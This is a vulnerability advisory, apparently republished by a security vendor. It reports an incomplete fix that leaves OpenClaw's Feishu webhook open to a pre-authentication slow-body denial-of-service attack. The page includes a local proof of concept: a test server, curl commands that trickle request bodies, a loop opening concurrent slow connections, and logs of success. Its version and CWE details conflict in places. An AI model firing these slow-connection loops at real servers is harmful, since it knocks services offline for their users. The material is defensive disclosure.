GHSA-w6m8-cqvj-pg5v
MEDIUMGHSA-w6m8-cqvj-pg5v is a medium-severity (CVSS 5.3) CWE-405 vulnerability in openclaw. O3 Security confirms whether GHSA-w6m8-cqvj-pg5v is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
openclawnpmDescription
Fixed in OpenClaw 2026.3.24, the current shipping release.
Advisory Details
Title: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)
Description:
Summary
The patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the Feishu extension's webhook handler was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) before verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.
Details
In extensions/feishu/src/monitor.ts, the webhook HTTP handler uses installRequestBodyLimitGuard with permissive limits at lines 276-278:
const FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024; // 1MB (line 26)
const FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000; // 30s (line 27)
// ... in monitorWebhook(), line 276-278:
const guard = installRequestBodyLimitGuard(req, res, {
maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES, // 1MB
timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS, // 30s
responseFormat: "text",
});
The body guard is installed at line 276 before the request reaches the Lark SDK's adaptDefault webhook handler (line 284), which performs signature verification. This means:
- Any unauthenticated HTTP POST is accepted
- The server waits up to 30 seconds for the body to arrive
- Each connection can buffer up to 1MB
- Authentication only happens after the body is fully read
The patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:
const PREAUTH_MAX_BODY_BYTES = 64 * 1024; // 64KB
const PREAUTH_BODY_TIMEOUT_MS = 5_000; // 5s
The Feishu extension was missed because it resides in extensions/feishu/ (a plugin workspace) rather than in the core src/ directory.
Attack chain:
[Attacker sends slow HTTP POST to /feishu/events]
→ Rate limit check: passes (under 120 req/min)
→ Content-Type check: application/json, passes
→ installRequestBodyLimitGuard(1MB, 30s): installed
→ Body trickles at 1 byte/sec for 30 seconds
→ × 50 concurrent connections = connection exhaustion
→ Legitimate Feishu webhook deliveries blocked
PoC
Prerequisites: Docker installed.
Step 1: Create a minimal test server reproducing the vulnerable body parsing:
cat > /tmp/feishu_webhook_server.js << 'EOF'
const http = require("http");
const VULN_TIMEOUT = 30_000; // Vulnerable: 30s (same as Feishu handler)
const PATCH_TIMEOUT = 5_000; // Patched: 5s (what it should be)
function bodyGuard(req, res, timeoutMs) {
let done = false;
const timer = setTimeout(() => {
if (!done) { done = true; res.statusCode = 408; res.end("Request body timeout"); req.destroy(); }
}, timeoutMs);
req.on("end", () => { done = true; clearTimeout(timer); });
req.on("close", () => { done = true; clearTimeout(timer); });
}
http.createServer((req, res) => {
if (req.url === "/healthz") { res.end("OK"); return; }
if (req.method !== "POST") { res.writeHead(405); res.end(); return; }
const timeout = req.url === "/feishu/events" ? VULN_TIMEOUT : PATCH_TIMEOUT;
console.log(`[${req.url}] +conn`);
bodyGuard(req, res, timeout);
res.on("finish", () => console.log(`[${req.url}] -conn`));
}).listen(3000, () => console.log("Listening on :3000"));
EOF
node /tmp/feishu_webhook_server.js &
sleep 1
Step 2: Verify the vulnerability — slow body holds connection for the full timeout:
# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
curl -s -o /dev/null -w "status: %{http_code}\n" \
-X POST http://localhost:3000/feishu/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35
# Patched endpoint: connection terminated after ~5s
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
curl -s -o /dev/null -w "status: %{http_code}\n" \
-X POST http://localhost:3000/patched/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35
Step 3: Batch exploit — 10 concurrent slow connections:
for i in $(seq 1 10); do
(echo -n 'A'; sleep 15) | \
curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \
-H "Content-Type: application/json" \
-H "Content-Length: 65536" \
--data-binary @- --max-time 35 &
done
wait
Log of Evidence
Exploit result (vulnerable /feishu/events):
=== Feishu Webhook Pre-Auth Slow-Body DoS ===
Target: localhost:3000/feishu/events
Concurrent connections: 10
[conn-0] held open for 15.0s (15B sent) [SUCCESS]
[conn-1] held open for 15.0s (15B sent) [SUCCESS]
[conn-2] held open for 15.0s (15B sent) [SUCCESS]
[conn-3] held open for 15.0s (15B sent) [SUCCESS]
[conn-4] held open for 15.0s (15B sent) [SUCCESS]
[conn-5] held open for 15.0s (15B sent) [SUCCESS]
[conn-6] held open for 15.0s (15B sent) [SUCCESS]
[conn-7] held open for 15.0s (15B sent) [SUCCESS]
[conn-8] held open for 15.0s (15B sent) [SUCCESS]
[conn-9] held open for 15.0s (15B sent) [SUCCESS]
=== Results ===
Connections held open (SUCCESS): 10/10
[SUCCESS] Pre-auth slow-body DoS confirmed!
Control result (patched /patched/events with 5s timeout):
=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===
Target: localhost:3000/patched/events
[conn-0] RESET after 8.0s (8B)
[conn-1] RESET after 8.0s (8B)
...
[conn-9] RESET after 8.0s (8B)
Avg connection hold time: 8.0s (5s timeout + stagger delay)
Server-side Docker logs confirming the discrepancy:
[feishu-vulnerable] +conn (active: 1)
[feishu-vulnerable] +conn (active: 10) ← No disconnections during 15s attack
[patched-control] +conn (active: 20)
[patched-control] -conn after 5.0s (active: 19) ← ALL terminated at 5s
[patched-control] -conn after 5.0s (active: 10)
Impact
An unauthenticated attacker can cause a Denial of Service against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.
With ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:
- Exhaust the server's connection handling capacity for 30 seconds per wave
- Block legitimate Feishu webhook deliveries (messages not reaching the bot)
- Consume up to 50MB of memory (50 × 1MB buffer) per attack wave
The attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.
Affected products
- Ecosystem: npm
- Package name: openclaw
- Affected versions: <= 2026.2.22
- Patched versions: None
Severity
- Severity: Medium
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
- CWE: CWE-400: Uncontrolled Resource Consumption
Occurrences
| Permalink | Description |
|---|---|
| https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27 | Permissive body limit constants: FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024 (1MB) and FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000 (30s) — should be 64KB/5s to match the CVE-2026-32011 patch. |
| https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280 | installRequestBodyLimitGuard call in monitorWebhook() using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284). |
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | openclaw | all versions | 2026.3.24 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for openclaw. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update openclaw to 2026.3.24 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w6m8-cqvj-pg5v is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-w6m8-cqvj-pg5v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-w6m8-cqvj-pg5v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w6m8-cqvj-pg5v in your dependencies?
O3 detects GHSA-w6m8-cqvj-pg5v across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.